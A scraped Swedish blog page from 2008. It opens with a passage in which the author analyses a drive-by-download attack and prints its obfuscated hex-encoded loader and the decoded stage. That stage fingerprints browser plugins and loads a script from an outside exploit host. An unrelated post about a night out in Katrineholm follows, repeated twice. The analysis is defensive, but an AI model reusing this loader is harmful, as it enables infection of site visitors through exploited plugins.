67F78A56864A2706D7b84787376826B967f78786872779F678C76a794657A7E768a84876A65A26f6a7AA3a96964A26E95a7A47A6a638271757C847873767A6D96a7847A7367767c697Aa47A9496a26B758778786895766D697A847A9392827a967f797573737A6E957e837794697a6e767Da3A67462A271697A78a66a61749f688C84757375827C75897a797468776d7677797474657a72757C7a777471826F767Da3a693648272757ca37b6875766D767eA4789365766f698B787668687A9A967fA47a9462779E6A77797573677a6f7688A3779364A26B957A79749369826a9678797593657a7b6da8797393687a7B767979759392A26b6d7c837B74757769757e83849392786c6AA879766966779a6B89797B9368777d6A7879a469917A716b7B79776964776d6A7879766994777295A7797673677A716A7D79A56966776d6b7B79766962776d6A7879766966776b6B7b79787366777C6a7d79A6697677706ba8837793687A9A6A7879766868766B6b7678769462799a6A7B79766968789E6D7f83896862767F6978A4746b7279726D7d7B786b69776E6b8A78766961766B96777aa76a64789c6c8779a573687A7d6A7B788868627a716A7e7b7669917a6D767e79867363769d6A8a77736760749f688c837A94617a70957da4739392A269967F79747364826C6D7Ca4a669647a6c767B84767367826B6d7C7A7973757a7b9677a37A6871A26c6dAB84859560786e967d79789395767D6A8a77736760827f697876A759597C')">
//Load stage2 <body onload="gN73Os7rj('50509BAB636A5596B2a9a7b2a8b0a8608cBE8a9293a17E966c66ad524d4f3ea8a4B852B5997564648f9A9E4e80625b626A813F4Fb9a3A652af90748D9b7A969d4c83526c73725B6D5050A8a6B5629868937a94b87cA33D6f636d62756A7D413Cb9a7A465B1978b84959D63904C7F545973765980504C413cB7B8AB65be4f3e3Ba9b5a4656bB895A463bb67998d7984829D836280B877887c7a96829F7Fb095a8acad93b9B2b462a2afbb99aeb1b5629Ea8B499B9ab7dA96797906995939C5F5D6c66AD524D4B3Da8A4B852AFB59b7B78BD7F74658062a293b9AF99A6B7b1a660b3b2a7ACACb0A78dB87b868f7a92848ca074A0A6b0A76F3F4D4f3b524d4B3D9bA9665ab5997564648F9a9e65807F5462636C5865ADb48d7989c06b8771ABA296a8BE81ab6b6485a7ACA99d99acaf99546C665382636f655B63c13f4f4C4B3da8a4B85287bca68e9688b1a8658062A493b5B9978eB1B65C9CB59F798Bbd7b7660B5ABA2B1A4A5995A72A27674aa6e5b596C6F6d524d4f3E3B4C4F9bab636A76aba7A0968aAEB8547063765B65be4f3E3B4C4F3BB5997564648F9A9E65806276ABA7A0968aAEb862A6b299a6b7acB09B5A747c5b804c4B3D3b50503b4e4CBF413c4c4faf524d4F3E3b4cAF98656bAE7e748B9e6aa7AE62716F636d62756A625A5863b0A49e8A88AE6B85749bB3A7a7ac81a96e5486a7b19697638795b7B2a495A6656f5266806261636c66AD524D4B3D3Badb88B8c89BC6D74638352B3a4b89d99a4baA1B771b2A0a7AAafA0b89eB769868D7D82959d9F6296A8B995B7ACB2A89bB2B46D524D4f3e3B4c4F9Bab636A9eA49C8d78BF7c84629BB1AA97bd92a85c54637B546E6363715270775b65BE4F3e3b4C4F3BB18D847C8a7Ba89d6580625b62786d6D524D4B3d3Bc06697B1B6A7549Ba9665aAFB59B7B78BD7f7473ACB09897BB95986d65626A546c665382636F655B63C13f4F4c4b3D3baf90748D9B7a969D6383526C73785B6D50503B4e4CBF5497afb99765aca8545aADB88B8c89BC6D7471AFA0A9a8ba83986b68527C656b545380665f766c62af3F4d4F3B4E4cAE7E748b9e6Aa7AE6271526A76696c7e4f3E3b4c4faf65A8aeA79763c13F4f4C4B3d3BAF90748d9b7A969D6383526c73735B6d50503b4e4cBF413C4C4fAF524D4F3e3b4caf98656Ba66a8277a8a57eA462716f636d62756A625a5863B0A49e8A88ae6B85749bB3a7A7AC81A96E5498abb1979dbaa7A8AA6388A093b6AE546E6363715270775b65be4F3e3B4c4fA8a6b562A9ab79b4667D9A8D546F636d5980504c3d3b4Cb0a49e8a88AE6b85666F65b1a3aa9baaa7a6B4B570a49Eb8AD9bb3B69da96797906995939c9160A7abA5a8b5ABa4a6ACb5A080504C413C4C4F3BabB2B45Ca8A4b852BFB677aaa590BC77658062646d63c0a57ab9b581A888666E65ADB48D7989C06B8771AE99a0aaBA9a8063BCA767b9B97fbb886D5F5B63c13f4f4C4B3d3Bb9a7A4658C849d7b8bad8A97637f549CB59f798BBD7b7660A6ae93b784B65CACB67BA8b890B8795B7E533c524D4b3d3B4CAF98656b639DA591A7806Db3A3a6A5a88Fa0B96b8b769B8c8E999D956b5d52BFc2526D8c849d7b8Bad8A97637f71526A745965696854a7bc7CA0797B997f60afABa0ACB7AA547063765B6e63bd413c4c4F3b4e4Cb7ad68B17A6A9C8E625f6f638f74AE8C8a9b8a95813f4f4C4B3D3BC06697b1B6A7549BA9665abaBC78a2667b9D7D73afA7a299b7AE528363725D52be533C4e4c4B3D3Ba5B897A6AE7d413C4c4F3B4ec04f3E3B4C4FAF524d4f3E3B4C4fA8a6B5627E75B7A0ac797ba8546f63BBab7BB1766c898E74A5B5afaba85A6A74596e7E4F3e3f4d4f3b4eaca8545A8D89A69fbd766c989E768f657f626d5B63c13F4f4C4B3d3Ba77C8279A5b56d936383526C7aa55b6D50503b4E4CBF5497AFb99765ACa8545A8D89a69fbd766c989E768f65807f546b636C58658d85a88Cbd7a6AAB9e7391528083527563685A528D89A69fBD766c989e788f657F62656378665B65be4f3e3B4C4F3Ba979926894b67F936580625b69766d6d524d4b3d3bc0533c4e4CBF413c50503b4eaca8545aAF90748D9b7a969D63676f6573625a5863B6887873748086AF665382637254586966967B937696A57ca752668062645B63c13F4F4C4B3D94B5AB93B07E4f3E3B4cc33f4F4cBF413CC06695a6B7A59C5Aa86F52C063bf413c5050A6b7BC62af3f4d4f9BAB636aa293B9af99A6B7b1a660B0af9faa97bba497B6A154BBaca699a172be5Fb2B66FAB9fB9688F73A8B09594afAB9695AFb79b9bb16F3F4f4C4ba2879A98849c748d546F636d62766A7d413CC06695a6B7a59C5AA86f52C063bf413c5050a9ADACae995ab39c6575758e889e71B297B3aab69c527f666a6E504c3Da2997962778f96A052806659756a625f52B39C6575758E889E7E533C524D4f3Ea8a4b852b4afBAae75b5789e65806298a1A6bb9faaB1B66295b5AB93b9A887a097B0ABA0B96b64a795B5AFA2b9656B6f3F4db59EBDBD85a664af74a5aab783A8A6B5AF94baB7A75C54b7bfa2AA656e5454B7abAAb972AC95a8A4b995B7acB2a8546c813f4FB2AEACAC86B864B171B599A684BAA6B7aca4A9A6a86E54B8b5a5565E63689ab9b7b26e6172A796BBa4a4a2a471a9A1b272a59B9b70a89BB372aba296A8BE60A8AAab736b73766a7C78a86D627a7a987574746462737d69aa73A798677b766475737264627376627575A66C677c7F677bA4a89a627368527063b28a6573787e99AF625F52b19B89979599657D637152b18d847c8A7bA89D656E629868937a94B87CA35d6D50503f4FA7b197a7b0aba0b971A4A396bc7493B5B3A7A29686AE9Bb1a76Aa39eBBc075b775ae5D6D5050AF524d')">
//-->
</script>
</head>
<body onload="gN73Os7rj('50509BAB636A5596B2a9a7b2a8b0a8608cBE8a9293a17E966c66ad524d4f3ea8a4B852B5997564648f9A9E4e80625b626A813F4Fb9a3A652af90748D9b7A969d4c83526c73725B6D5050A8a6B5629868937a94b87cA33D6f636d62756A7D413Cb9a7A465B1978b84959D63904C7F545973765980504C413cB7B8AB65be4f3e3Ba9b5a4656bB895A463bb67998d7984829D836280B877887c7a96829F7Fb095a8acad93b9B2b462a2afbb99aeb1b5629Ea8B499B9ab7dA96797906995939C5F5D6c66AD524D4B3Da8A4B852AFB59b7B78BD7F74658062a293b9AF99A6B7b1a660b3b2a7ACACb0A78dB87b868f7a92848ca074A0A6b0A76F3F4D4f3b524d4B3D9bA9665ab5997564648F9a9e65807F5462636C5865ADb48d7989c06b8771ABA296a8BE81ab6b6485a7ACA99d99acaf99546C665382636f655B63c13f4f4C4B3da8a4B85287bca68e9688b1a8658062A493b5B9978eB1B65C9CB59F798Bbd7b7660B5ABA2B1A4A5995A72A27674aa6e5b596C6F6d524d4f3E3B4C4F9bab636A76aba7A0968aAEB8547063765B65be4f3E3B4C4F3BB5997564648F9A9E65806276ABA7A0968aAEb862A6b299a6b7acB09B5A747c5b804c4B3D3b50503b4e4CBF413c4c4faf524d4F3E3b4cAF98656bAE7e748B9e6aa7AE62716F636d62756A625A5863b0A49e8A88AE6B85749bB3A7a7ac81a96e5486a7b19697638795b7B2a495A6656f5266806261636c66AD524D4B3D3Badb88B8c89BC6D74638352B3a4b89d99a4baA1B771b2A0a7AAafA0b89eB769868D7D82959d9F6296A8B995B7ACB2A89bB2B46D524D4f3e3B4c4F9Bab636A9eA49C8d78BF7c84629BB1AA97bd92a85c54637B546E6363715270775b65BE4F3e3b4C4F3BB18D847C8a7Ba89d6580625b62786d6D524D4B3d3Bc06697B1B6A7549Ba9665aAFB59B7B78BD7f7473ACB09897BB95986d65626A546c665382636F655B63C13f4F4c4b3D3baf90748D9B7a969D6383526C73785B6D50503B4e4CBF5497afb99765aca8545aADB88B8c89BC6D7471AFA0A9a8ba83986b68527C656b545380665f766c62af3F4d4F3B4E4cAE7E748b9e6Aa7AE6271526A76696c7e4f3E3b4c4faf65A8aeA79763c13F4f4C4B3d3BAF90748d9b7A969D6383526c73735B6d50503b4e4cBF413C4C4fAF524D4F3e3b4caf98656Ba66a8277a8a57eA462716f636d62756A625a5863B0A49e8A88ae6B85749bB3a7A7AC81A96E5498abb1979dbaa7A8AA6388A093b6AE546E6363715270775b65be4F3e3B4c4fA8a6b562A9ab79b4667D9A8D546F636d5980504c3d3b4Cb0a49e8a88AE6b85666F65b1a3aa9baaa7a6B4B570a49Eb8AD9bb3B69da96797906995939c9160A7abA5a8b5ABa4a6ACb5A080504C413C4C4F3BabB2B45Ca8A4b852BFB677aaa590BC77658062646d63c0a57ab9b581A888666E65ADB48D7989C06B8771AE99a0aaBA9a8063BCA767b9B97fbb886D5F5B63c13f4f4C4B3d3Bb9a7A4658C849d7b8bad8A97637f549CB59f798BBD7b7660A6ae93b784B65CACB67BA8b890B8795B7E533c524D4b3d3B4CAF98656b639DA591A7806Db3A3a6A5a88Fa0B96b8b769B8c8E999D956b5d52BFc2526D8c849d7b8Bad8A97637f71526A745965696854a7bc7CA0797B997f60afABa0ACB7AA547063765B6e63bd413c4c4F3b4e4Cb7ad68B17A6A9C8E625f6f638f74AE8C8a9b8a95813f4f4C4B3D3BC06697b1B6A7549BA9665abaBC78a2667b9D7D73afA7a299b7AE528363725D52be533C4e4c4B3D3Ba5B897A6AE7d413C4c4F3B4ec04f3E3B4C4FAF524d4f3E3B4C4fA8a6B5627E75B7A0ac797ba8546f63BBab7BB1766c898E74A5B5afaba85A6A74596e7E4F3e3f4d4f3b4eaca8545A8D89A69fbd766c989E768f657f626d5B63c13F4f4C4B3d3Ba77C8279A5b56d936383526C7aa55b6D50503b4E4CBF5497AFb99765ACa8545A8D89a69fbd766c989E768f65807f546b636C58658d85a88Cbd7a6AAB9e7391528083527563685A528D89A69fBD766c989e788f657F62656378665B65be4f3e3B4C4F3Ba979926894b67F936580625b69766d6d524d4b3d3bc0533c4e4CBF413c50503b4eaca8545aAF90748D9b7a969D63676f6573625a5863B6887873748086AF665382637254586966967B937696A57ca752668062645B63c13F4F4C4B3D94B5AB93B07E4f3E3B4cc33f4F4cBF413CC06695a6B7A59C5Aa86F52C063bf413c5050A6b7BC62af3f4d4f9BAB636aa293B9af99A6B7b1a660B0af9faa97bba497B6A154BBaca699a172be5Fb2B66FAB9fB9688F73A8B09594afAB9695AFb79b9bb16F3F4f4C4ba2879A98849c748d546F636d62766A7d413CC06695a6B7a59C5AA86f52C063bf413c5050a9ADACae995ab39c6575758e889e71B297B3aab69c527f666a6E504c3Da2997962778f96A052806659756a625f52B39C6575758E889E7E533C524D4f3Ea8a4b852b4afBAae75b5789e65806298a1A6bb9faaB1B66295b5AB93b9A887a097B0ABA0B96b64a795B5AFA2b9656B6f3F4db59EBDBD85a664af74a5aab783A8A6B5AF94baB7A75C54b7bfa2AA656e5454B7abAAb972AC95a8A4b995B7acB2a8546c813f4FB2AEACAC86B864B171B599A684BAA6B7aca4A9A6a86E54B8b5a5565E63689ab9b7b26e6172A796BBa4a4a2a471a9A1b272a59B9b70a89BB372aba296A8BE60A8AAab736b73766a7C78a86D627a7a987574746462737d69aa73A798677b766475737264627376627575A66C677c7F677bA4a89a627368527063b28a6573787e99AF625F52b19B89979599657D637152b18d847c8A7bA89D656E629868937a94B87CA35d6D50503f4FA7b197a7b0aba0b971A4A396bc7493B5B3A7A29686AE9Bb1a76Aa39eBBc075b775ae5D6D5050AF524d')">
</body>
</html>
Nedan följer det som genereras av dessa 2 obfuscated steg.
Scriptet i sig som synes söker igenom tillgängliga plugins för din browser (quicktime, acrobat, flash) och tyvärr är detta så långt som jag kommer, urlen som serveras i slutet returnerar hittils efter mina försök endast en fake-500 sida vilket den verkar göra så länge den inte får de variablar den är ute efter, så vitt jag/vi på kontoret kan se så verkar siten i sig servera färdiga exploits för de plugins som den hittar möjliga hål i. för att undvika att detta händer kan jag inte föreslå annat än att se till att uppgradera de plugins man använder, om någon annan kommer vidare med detta får ni gärna höra av er till mig.
(Koden är åter igen html-safe och utan text-indent)
if (!document.IxXMP_Jd) {
var pV302LTl = '0';
var lJBHX8bk = '00';
var d6P4bs9a = '00';
var nUWRRW1K = '00';
try {
for (var u5TJ7PPZ=0;u5TJ7PPZ <navigator.plugins.length;u5TJ7PPZ++)
{
var jrYGFz9B = navigator.plugins[u5TJ7PPZ].name;
if (pV302LTl == 0 && jrYGFz9B.indexOf("QuickTime") != -1) {
var BydZdEkv = parseInt(jrYGFz9B.replace(/\D/g,''));
if (BydZdEkv > 0) {
pV302LTl = BydZdEkv.toString(16);
}
}
if (lJBHX8bk == '00' && jrYGFz9B.indexOf("Adobe Acrobat") != -1) {
jrYGFz9B = navigator.plugins[u5TJ7PPZ].description;
if (jrYGFz9B.indexOf(" 5") != -1) {
lJBHX8bk = '05';
} else if (jrYGFz9B.indexOf(" 6") != -1) {
lJBHX8bk = '06';
} else if (jrYGFz9B.indexOf(" 7") != -1) {
lJBHX8bk = '07';
} else {
lJBHX8bk = '01';
}
}
if (d6P4bs9a == '00' && jrYGFz9B.indexOf("Shockwave Flash") != -1) {
var uy6n48WK = '';
jrYGFz9B = navigator.plugins[u5TJ7PPZ].description;
for(var zs5vsMvE = 0; zs5vsMvE < jrYGFz9B.length; zs5vsMvE++) {
var IBiIHgXR = jrYGFz9B.charAt(zs5vsMvE);
if (!isNaN(parseInt(IBiIHgXR)) || (IBiIHgXR == '.' && uy6n48WK.length > 0)) {
uy6n48WK += IBiIHgXR;
} else if (uy6n48WK.length > 0) {
break;
}
}
var JCtZz48f = uy6n48WK.split('.');
if (JCtZz48f[0] < 9) {
d6P4bs9a = '7c';
} else if (JCtZz48f[0] == 9 && JCtZz48f[1] == 0 && JCtZz48f[2] < 115 ) {
d6P4bs9a = '73';
}
}
if (lJBHX8bk != 0 && pV302LTl != 0 && d6P4bs9a != 0) {
break;
}
}
}
catch(e) { }
try {
if (navigator.mimeTypes["video/x-ms-wmv"].enabledPlugin) nUWRRW1K = '01';
}
catch(e) { }
while(pV302LTl.length < 8) pV302LTl = '0' + pV302LTl;
var olxzCr2l = document.createElement("script");
olxzCr2l.setAttribute("type", "text/javascript");
olxzCr2l.setAttribute("src", "http://advabnr.com/cgi-bin/index.cgi?900875f9074f01200077e0ed58020000000002d859956aff00" + pV302LTl + nUWRRW1K + lJBHX8bk + d6P4bs9a);
document.body.appendChild(olxzCr2l);
}
/Dari
lördag 7 juni 2008
Första posten, 8e juni klockan: efter ölen
Ptja, nu är det tydligen så att jag till slut börjat skriva på en sån blogg, tog ett par öl och en del annat för att till slut komma igång att ordbajsa ordentligt.
Dagen i korthet, jag träffade vänner från många år tillbaka i den milt illaluktande hålan Katrineholm, det var oväntat trevligt faktiskt, blev medsläpad till en fest hos människor jag aldrig träffat förut, vilket normalt för min del brukar innebära ganska så garanterad kaos, men det gick rätt så bra ändå måste jag nog erkänna, var en trevlig kväll där vi efter X antal alkohol-haltiga drycker bestämde oss för att "gå ut", det begreppet i Katrineholm är relativt begränsat mot vad man är "van" vid, men det blev ändå en trevlig tillställning, efter att ha kommit ner på "stan" och insett att jag inte har något att röka blev det en fulflirt med närmsta person från "festen" som man sett röka för att få sig en snabb fix medans man började leta sig till närmsta ställe som var öppet klockan ptja.. runt 23-00 skulle jag gissa, vilket resulterade i att jag fick röka någonting av det ptja.. minst tillfredställande jag rökt, ungefär lika nikotingivande som att suga på närmsta gatsten, om inte än mindre.
När vi väl inhandlat sånt att röka till mig på Shell var det dags att leta sig ner mot "öltältet" (Katrineholm är inte största staden, så ett öltält är tydligen det som finns under 'festival'-perioden) när vi väl fumlade oss fram till öltältet så hittade vi såklart inte någon som vi kände, eller snarare, ingen jag kände igen, var en hel drös som kände polaren, inte helt oväntat då han är uppväxt och fortf. bor här. efter en hel del "Tja! hur mår du?" situationer så kom vi från öltältet och letade oss mot "Statt" som också uppenbart är det 'hetaste' stället att vara på här i Katrineholm så stötte vi på en sån "Rillbur" vilket var en oväntat härlig överraskning, också en person jag inte sett på år och dagar, så blev en del handskakning och 'vi ses framöver' innan Rillbur var tvungen att bege sig hemåt då han måste arbeta med psykvallning på dagarna, efter detta hittade vi till slut in på statt, och hittade folket vi var på fest med, ganska trevlig stämning ändå, dansade lite, ölade lite, fick otroligt mycket fler smällar på pungen än jag fått hittils i mitt liv på en endaste kväll(fan vet vad det handlade om, men tydligen tyckte flickan i fråga att det var så att jag förtjänade det).
Och nu sitter jag och polaren här i hans lägenhet och sänker ner ett par öl till medans han inte helt oväntat sitter och fulflirtar via SMS och jag har precis skapat den här bloggen och vem vet, det kanske blir så att jag skriver mer och mer, eller inte alls.. det beror väl helt på alkoholhalten i mitt blod.
Observera att dagens blogginlägg innehåller oväntat lite galla och illapratande om folk i min närhet, men det brukar också ordna upp sig.
Sammanfattning av dagen:
Det var en hel del trevliga människor, samt en hel del udda människor vilket verkar vara normen här i Katrineholm. Utöver detta var det en härlig kväll och första gången på länge som jag faktiskt haft roligt och slappnat av ordentligt. nu är det väl dags att ptja.. dricka mer öl och snacka skit innan kvällen är slut.
/Dari
Dagen i korthet, jag träffade vänner från många år tillbaka i den milt illaluktande hålan Katrineholm, det var oväntat trevligt faktiskt, blev medsläpad till en fest hos människor jag aldrig träffat förut, vilket normalt för min del brukar innebära ganska så garanterad kaos, men det gick rätt så bra ändå måste jag nog erkänna, var en trevlig kväll där vi efter X antal alkohol-haltiga drycker bestämde oss för att "gå ut", det begreppet i Katrineholm är relativt begränsat mot vad man är "van" vid, men det blev ändå en trevlig tillställning, efter att ha kommit ner på "stan" och insett att jag inte har något att röka blev det en fulflirt med närmsta person från "festen" som man sett röka för att få sig en snabb fix medans man började leta sig till närmsta ställe som var öppet klockan ptja.. runt 23-00 skulle jag gissa, vilket resulterade i att jag fick röka någonting av det ptja.. minst tillfredställande jag rökt, ungefär lika nikotingivande som att suga på närmsta gatsten, om inte än mindre.
När vi väl inhandlat sånt att röka till mig på Shell var det dags att leta sig ner mot "öltältet" (Katrineholm är inte största staden, så ett öltält är tydligen det som finns under 'festival'-perioden) när vi väl fumlade oss fram till öltältet så hittade vi såklart inte någon som vi kände, eller snarare, ingen jag kände igen, var en hel drös som kände polaren, inte helt oväntat då han är uppväxt och fortf. bor här. efter en hel del "Tja! hur mår du?" situationer så kom vi från öltältet och letade oss mot "Statt" som också uppenbart är det 'hetaste' stället att vara på här i Katrineholm så stötte vi på en sån "Rillbur" vilket var en oväntat härlig överraskning, också en person jag inte sett på år och dagar, så blev en del handskakning och 'vi ses framöver' innan Rillbur var tvungen att bege sig hemåt då han måste arbeta med psykvallning på dagarna, efter detta hittade vi till slut in på statt, och hittade folket vi var på fest med, ganska trevlig stämning ändå, dansade lite, ölade lite, fick otroligt mycket fler smällar på pungen än jag fått hittils i mitt liv på en endaste kväll(fan vet vad det handlade om, men tydligen tyckte flickan i fråga att det var så att jag förtjänade det).
Och nu sitter jag och polaren här i hans lägenhet och sänker ner ett par öl till medans han inte helt oväntat sitter och fulflirtar via SMS och jag har precis skapat den här bloggen och vem vet, det kanske blir så att jag skriver mer och mer, eller inte alls.. det beror väl helt på alkoholhalten i mitt blod.
Observera att dagens blogginlägg innehåller oväntat lite galla och illapratande om folk i min närhet, men det brukar också ordna upp sig.
Sammanfattning av dagen:
Det var en hel del trevliga människor, samt en hel del udda människor vilket verkar vara normen här i Katrineholm. Utöver detta var det en härlig kväll och första gången på länge som jag faktiskt haft roligt och slappnat av ordentligt. nu är det väl dags att ptja.. dricka mer öl och snacka skit innan kvällen är slut.
/Dari
Prenumerera på:
Inlägg (Atom)